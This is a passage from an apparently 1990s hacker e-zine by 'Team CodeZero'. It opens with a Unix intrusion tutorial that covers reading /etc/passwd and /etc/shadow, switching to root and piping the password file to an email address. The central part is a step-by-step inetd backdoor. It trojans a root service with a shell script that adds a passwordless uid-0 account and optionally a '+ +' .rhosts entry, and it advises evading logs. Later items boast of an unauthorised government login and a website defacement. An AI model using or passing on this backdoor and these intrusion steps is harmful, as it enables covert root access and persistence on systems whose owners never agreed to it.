pwd /root - if you have hit gold and hacked the root account! # - the # prompt also means you are a super-user This gives you the full login directory for the user or.. $ pwd /home/john $ Assuming you have hacked into johns account on the system. Now lets say you wanted to move down to the michelle directory (you own this) that contains letters that you wanted to read. You would type in $ cd michelle or cd /home/john/michelle $ pwd /home/john/michelle $ Going back one directory up type in: $ cd .. or going to your parent directory (your home) just type in "cd" or "cd ~" Listing file directories assuming you are in the parent directory: $ pwd /home/john $ ls mail pers games bin michelle ..This won't list hidden files, to list ALL files, type.. $ cd $ ls -a : : .profile To list file names in michelle's directory type.. $ ls michelle (that if your in the johns home directory) $ ls /home/john/michelle (from anywhere on the system) ls -l ----- The ls -l is an an important command in unix.This command displays the whole directory in long format, if try to run this in parent directory.. $ ls -l total 60 -rwxr-x--- 5 john bluebox 10 april 9 7:04 mail drwx------ 7 john bluebox 30 april 2 4:09 pers : : : : : : : : : : : : : : -rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys : : : : : : : $ The total 60 tells one the amount of disk space used in a directory. File permissions : ================== The -rwxr-x--- is read in triples of 3.. this tells the user what the file permissions are. The first chracter eg (-, d, b, c) - means as follows : - is an ordinary file d is a directory b is block file c is a chracter file And... r stands for read permission w is write permission x is execute The first colum is read in 3 triples as stated above. The first group of 3 (in -rwxr-x---) after the "-" specifies the permission for the owner of the file,the second triple are for the groups (the fourth colum) and the last triple are the permissions for all other users. Therefore the -rwxr-x--- is read as follows.. The owner john has permission to read, write and execute anything in the bin directory but the group has no write permission to it and the rest of the users have no permission at all. The format of one of the lines in the above output is as follows: file type-permissions, links, owner, owners group, bytes taken, date, time when last renued, directory or file name. You will be able to read andexecute cathys file named party due her being in the same user group as you. chmod ----- The chmod command changes permission of a directory or a file.Format is chmod who+,-,=r,w,x The who is substituted by u-user,g-group,o-other users,a-all. The + means add permission,- means remove permission,= - assign. Example :If you wanted all other users to read the file name mail ,type: $ chmod o+r mail cat --- Now suppose you wanted to read the file letter. You could type.. $ cat letter line one ...\ line two ... }- the output of letter line three../ $ or.. If you are in any other directory type in : $ cat /home/john/michelle/letter and you will have the same output. Some cat options are -s,-u,-v,-e,-t Special Chracters in Unix: ------------------------- * - matches any number of single characters eg. $ ls john* will list all files that begin with john [...] - matchs any one of the chracter in the [ ] ? - matches any single chracter & - runs a process in the backgroung leaving your terminal free $ - values used for variables also $n - null argument > - redirectes output ls -la > /tmp/list < - redirects input to come from a file >> - redirects command to be added (appended) to the end of a file | - pipe output (eg: cat /etc/passwd ▌ mail tk85@hotmail.com will mail tk85@hotmail.com the /etc/passwd file) "..." - Turn of meaning of special chracters excluding $,` `...` - allows command output in to be used in a command line '...' - turns of special meaning of all chracters Common local commands : ======================= passwd ------ Password changing seems to be a big thing among the savants. Anyway to change the password one would use the 'passwd' command as shown below: $ passwd Changing password for john Old password: New password: Retype new password: $ ps -- It's sometimes necessary to see what command procesess you are running, this command lets you see that. ps [-a all processes except group leaders] [-e all processes] [-f the whole list] $ ps PID TTY TIME COMMAND ------------------------- 200 tty9 14:20 ps The systems reports (PID - process idenetification number which is a # from 1-30,000 assigned to UNIX processes) It also reports the TTY, TIME and the COMMAND being executed at the time. To stop a process enter : $ kill -9 [PID] (this case its 200) $ grep ---- This comand is important when seaching for a word or words in large files. grep [argument] [file name] - searchs for an file that contains the argument for example: $ grep phone cathy phone michelle (718)5551234 phone cindy (718)5553456 What this did was to find the argument 'phone' in the file cathy.If the argument consists of two or more words then it must be enclosed in single quotes. mv -- mv [file names(s)] [ dir name ] - renames a file or moves it to another directory eg. $ mv letter letters $ This renames the file letter to letters thereby deleting letter or if you want to move files then.. $ mv /home/john/pers/capital /home/john/michelle/capital $ This moves the file capital to the directory named michelle diff ---- diff [file name] [ file name] - show diffrence between two files. Output of this will have something like 4, 5c4, 5 then it will display both sets of files on the screen The 4, 5c4, 5 means that you must change "c" lines 4 to 5 in one file to line 4 to 5 in another. Options for using this command are : -b - it ignores blank spaces -h - compares it quickly -s - reports files that are the same -S [file] - this is when you want to compare a directory starting at a specific file There is also a command to compare 3 files which is : diff3 [options] [file1] [file2] [file3] cp -- cp [file name] [file name] - makes a copy of a file $ cp letter letters $ The file letters is a dupilcate copy of letter. In this case the original is not erased like in the mv command more Unix commands: ------------------- man [command] or [c/r] -will give you a list of commands explainations help - available on some UNIX systems mkdir [dir name(s)] - makes a directory rmdir [dir name(s)] - removes directory.You wont be able to remove the directory if it contains files in them rm [file name(s)] - removes files. rm * will erase all files in the current dir. Be carefull!!. Some options are : [-f unconditional removal] [-i Prompts user for y or n] write [login name] - to write to other users terminals, sort of a chat. mesg [-n] [-y] - doesn't allow others to send you messages using the write command. Wall used by system admin overrides it. $ [file name] - to execute any file that you have permission to run wc [file name] - Counts words,chracters, lines in a file stty [modes] - Set terminal I/O for the current devices sort [filename] - Sorts and merges files many options spell [file name] > [file name] - The second file is where the misspelt words are entered date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes all previously scheduled jobs.The -l reports the job # and status of all jobs scheduled write [login] [tty] - Sends message to the login name.Chat! su [login name] --------------- The su command allows one to switch user to a super user to a user. Very important could be used to switch to super user accounts. Usage : $ su root password: # This su command will be monitored in /usr/adm/sulog and this file of all files is carefully monitered by the system administrator. Suppose you hacked in johns account and then switched to the root account (ABOVE) your /usr/adm/sulog entry would look like: SU 04/19/88 21:00 + tty 12 john-root Therfore the system administrator would know that john swithed to the root account on 4/19/88 at 21:00 hours Searching for valid login names: -------------------------------- using who.. $ who ( command informs the user of other users on the system) cathy tty1 april 19 2:30 john tty2 april 19 2:19 dipal tty3 april 19 2:31 : : tty is the users terminal,date,time each logged on.dipal,john are valid logins. Files worth looking at (cat).. /etc/passwd file: ----------------- The /etc/passwd is a vital file to cat. For it contains login names of all users including super user accounts and their passwords. In the newer Unix releases they are tighting their security by moving the encrypted passwords from /etc/passwd to /etc/shadow making it only readable by root. This is optional ofcourse. $ cat /etc/passwd root:D943/sys34:0:1:0000:/root:/bin/sh sysadm:k54doPerate:0:0:administration:/usr/admin:/bin/sh checkfsys:*:0:0:check file system:/usr/admin:/bin/sh : other super user accs. : john:chips11:34:3:john scezerend:/home/john:/bin/bash : other users.. : $ If you have reached this far capture this file as soon as posible. This is a typical output /etc/passwd file. The entries are seperated by a ":", they are made be up to 7 fields in each line. sysadm account, for example.. sysadm:k54doPeHte:0:0:administration:/usr/admin:/bin/sh ^ ^ ^ ^ ^ ^ ^ 1 2 3 4 5 6 7 This is what each field represents.. 1: the login name, sysadm 2: the ENCRYPTED password 3: the user id, 0, the same as root 4: the group id, 0, the same as root 5: the users real name 6: the users home directory, /usr/admin 7: the shell that the user uses when he connects ..but in the case of the checkfsys account : checkfsys:*:0:0:check file system:/usr/admin:/bin/sh the :*: in place of the encrypted password means that this account is locked this IS NOT password shadowing, this is a lock on the account, so no-one can login as checkfsys without root taking the lock off the account's password. IF PASSWORD SHADOWING IS ACTIVE : --------------------------------- If the shawdowing is active the /etc/passwd would look like this: root:x:0:1:0000:/:/bin/sh sysadm:x:0:0:administration:/usr/admin:/bin/sh The password fieled is substituted by "x". The /etc/shawdow file is only readable by root will look similar to this: ^^^^^^^^^^^^^^^^^^^^^ root:D943/sys34:5288::::::: : super user accounts : Cathy:m4faDai1:5055:7:120:::: : all other users : The first field contains users login, the second contains the password (STILL ENCRYPTED), the third contains a code of when the password was last changed, the fourth and the fifth contains the minimum and the maximum numbers of days for pw changes (It's rare that you will find this in the super-user logins due to there hard to guess passwords) /etc/group ----------- The file has each group on the system. Each line will have 4 entries separated by a ":" Example of concatenated /etc/group: root::0:root adm::2:adm,root bluebox::70: Group name:password:group id:login names in the group ** It very unlikely that groups will have passwords assigned to them ** The id "0" is assigned to the root user. Adding new users when you're root --------------------------------- *** You must usually be root to run these commands *** # adduser - will take you through a routine to add a user this will look a little like this.. Anytime you want to quit, type "q". If you are not sure how to answer any prompt, type "?" for help If a default appears in the question,press <RETURN> for the default. Enter users full name [?,q]: (enter the name you want) Enter users login ID [?,q]: (the id you want to use) Enter users ID number (default 50000) [?,q) [?,q]: (press enter) Enter group ID number or group name: (any name from /etc/group) Enter users login home directory: (enter /home/name) This is the information for the new login: Users name: (name) login ID: (id) users ID:50000 group ID or name: home directory:/home/name Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then) Login installed Do you want to give the user a password?[y,n] (its better to enter one) New password: Re-enter password: ..That information will then be added to the /etc/passwd file, and the home dir and all the default files made for the user. ─────────────────────────────────────────────────────────────────────────────── 3. inetd backdoors : Phreak-0 ─────────────────────────────────────────────────────────────────────────────── I think I have found a new backdoor that could be considered pretty undetectable. I found this while I was playing around with things in the /etc/inetd.conf file. What it does is allow you to remotely issue any command of your choice as root by just telneting to a port that YOU specify. You have to have already have compromised root for this to work =) A normal entry into the inetd.conf will look like this : pop3 stream tcp nowait root /usr/sbin/tcpd in.pop3d Notice that tcpd is what executes when the in.pop3d service is called upon. tcpd is a program that verifies that you have access to use the specified service. After you are verified, it will then execute "in.pop3d", which is specified. What if we made a shell script named in.pop3d and had it issue a set of commands whenever used, and then start up the real service? So here is how you setup the backdoor, step by step : 1) First and foremost, type csh so you arent logged =) 2) After gaining root, find the service you want to manually trojan in /etc/inetd.conf. The service SHOULD already be UNCOMMENTED if you want to be extremely undetectable (The admin would check for new services as backdoors, not old ones already in use). This service should be defined as running as root. 3) Take the service, such as in.pop3d and rename it to one of the programs that are COMMENTED with #, as those services are not in use. eg. mv /usr/sbin/in.pop3d /usr/sbin/in.talkd 4) Now, you have to create a new in.pop3d so that people are able to use it type : pico in.pop3d then stick this simple shell script in there : #!/bin/sh #Service Trojan by Phreak-0 echo "bewm::0:0:,,,:/:/bin/csh" >> /etc/passwd #..or any command you may desire. #echo "+ +" > /root/.rhosts #echo "0wned Bitches" > /etc/motd # #Warning above could get annoying =) # #After our trojan has executed, we spawn the real program #service, which in this case you renamed to in.talkd. /usr/sbin/in.talkd #this really spawns the old /usr/sbin/in.pop3d Now save the file as the daemon you picked in step 2 and type : chmod +x filename filename is the name of the daemon shell script for all you dumbasses 5) Now you have to restart inetd for the changes to take place. kill inetd by typing: ps -x |grep inetd 1529 ? S 0:00 inetd Get the pid of inetd (1529) and type: kill -HUP 1529 6) Now get off and just telnet to port 110 of the victim and just disconnect. Then telnet over and try to login as the name you specified in the password file (bewm). You are now root. Now, whenever anyone telnets to port 110 of victim.com, any command you specified in the shell script will be executed. muahah they will never suspect that by just telneting to a port of your choice on the remote machine, you can execute any command as root that you specify. Remember to be creative with the script. this backdoor is sure to last for a while, so peace out yo.. -- Phreak-0 of #CaRpartS NTF ─────────────────────────────────────────────────────────────────────────────── 4. 0wned : so1o ─────────────────────────────────────────────────────────────────────────────── ..this motd r00lz : ------------------- System V.3.1 / UTS 2.1 (uts) login: informix Password: *************************************************************************** * THIS SYSTEM IS TO BE USED EXCLUSIVELY FOR OFFICIAL GOVERNMENT * * BUSINESS. USERS VIOLATING THIS RESTRICTION WILL BE SUBJECT TO * * ADMINISTRATIVE AND CRIMINAL PENALTIES. * *************************************************************************** * GOVERNMENT TELECOMMUNICATIONS SYSTEMS AND AUTOMATED INFORMATION * * SYSTEMS ARE SUBJECT TO A PERIODIC SECURITY TESTING AND MONITORING * * TO ENSURE PROPER COMMUNICATIONS SECURITY COMSEC PROCEDURES ARE * * BEING OBSERVED. USE OF THESE SYSTEMS CONSTITUTES CONSENT TO * * SECURITY TESTING AND COMSEC MONITORING. * *************************************************************************** * ACCESS TO THIS SYSTEM WILL ONLY BE GAINED THRU THE INFORMATION * * SYSTEM SECURITY OFFICE (ISSO). IF YOU HAVE ACCESS TO THIS SYSTEM * * WITHOUT GOING THRU (ISSO) -- YOU WILL BE REMOVED -- CONTACT * * YOUR ISSO IF YOU WISH TO REMAIN ON THIS SYSTEM. * *************************************************************************** * THE INFORMIX & OSC PASSWORDS HAVE BEEN CHANGED. CONTACT THE OSC * * WORK GROUP AT DSN 693-2940/2943 IF YOU EXPERIENCE PROBLEMS. * *************************************************************************** ─────────────────────────────────────────────────────────────────────────────── 5. dnscan : sw1tch ─────────────────────────────────────────────────────────────────────────────── % dnscan -domain dj dj intnet bow.rain.fr dj pnud bow.intnet.dj % that country r0x. ─────────────────────────────────────────────────────────────────────────────── 6. The issues list for 1998 : so1o ─────────────────────────────────────────────────────────────────────────────── Issue 8 : Sun 22nd March Issue 9 : Mon 11th May Issue 10: Tue 30th June Issue 11: Wed 19th August Issue 12: Thu 8th October Issue 13: Fri 27th November ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── 1. SpiceWorld 0wned : sw1tch ─────────────────────────────────────────────────────────────────────────────── Scenario, so1o's just gotten out of policy custody after questioning, I'm in Bristol, it's a Friday night, we have 2 laptops, 2 modems, and a set of logins and passes for the SpiceGirls official website (http://c3.vmg.co.uk/spicegirls), hooked our equipment up using mad tekneeqz, and changed their elite site from a carded i$p account. The crew that were around at the time were... so1o, NightRage, myself, BoMbJAcK, ev0, Mulder It was a quick and easy job, we were soon phoning the papers etc. In the end the page itself was up from midnight on friday to 10am on monday, thats 58 hours. The page itself is mirrored at www.hacked.net under the November section. ─────────────────────────────────────────────────────────────────────────────── 2. zeon.net : ch-e-ztic ─────────────────────────────────────────────────────────────────────────────── zeon.net is an internet services provider now, we just got a t1 installed, and we're running our shells from freeBSD, it's all good, fucking good prices too, check out www.zeon.net, or mail sales@zeon.net for more info! cheers, chez. ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── 1. TOTALCON '98 : so1o ─────────────────────────────────────────────────────────────────────────────── $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ http://www.aom.co.uk/total/ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +------------------------------------+------------------------------------+ ▌ An Official TotalCon Announcement ▌ An Official TotalCon Announcement ▌ ▌ An Official TotalCon Announcement ▌ An Official TotalCon Announcement ▌ +------------------------------------+------------------------------------+ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ http://www.aom.co.uk/total/ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ TotalCon '98 is now a reality, here are preliminary details... ============================================================== Venue : The Old Firestation, Silver Street, Bristol, ENGLAND Date : Late March 1998 27th March *OR* 4th April, TBA Duration : 36 hours non-stop (midday -> 10:00pm next day) Cost : £15 (15 UKP) ON THE DOOR, this will go back into the event (beer etc.) What : 12 system network (with additional terminals) along with full internet access, bring your laptops! Loud music, live DJ's Fully licensed bar downstairs / next door Elite UV and spotlighting ALOT of cool people ^^^^^^^^^^^^^^^^^^^ *** NO SPEAKERS WHATSOEVER *** *** NO SPEAKERS WHATSOEVER *** Travel : Easily accessible by car, train, bus, plane or boat. Accomodation : You can hang around the Firestation or book one of many good hotels in the immediate area. Notes : ALL CA$H RAISED AT THE DOOR FROM ENTRANCE FEES WILL GO BACK INTO THE EVENT! WE WILL PURCHASE GREAT AMOUNTS OF BEER AND FOOD, PROBABLY EVEN A LAPTOP AS A PRIZE!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ http://www.aom.co.uk/total/ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +------------------------------------+------------------------------------+ ▌ An Official TotalCon Announcement ▌ An Official TotalCon Announcement ▌ ▌ An Official TotalCon Announcement ▌ An Official TotalCon Announcement ▌ +------------------------------------+------------------------------------+ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ http://www.aom.co.uk/total/ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ─────────────────────────────────────────────────────────────────────────────── =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== ─────────────────────────────────────────────────────────────────────────────── .-----------. : : .-----. `-----. ; .-----. :. : .--' .' .' : : .: .-------:::. : : .' .' : . : .:::-------. `-------:::' :: : .' .' :: : : `:::-------' :' ::.`--. :::: `-----. ::. : `: `-----' ::::. : `-----' `-----------' [ Team CodeZero ] w3 r00l, ph34r 0ur tekn33qz ───────────────────────────────────────────────────────────────────────────────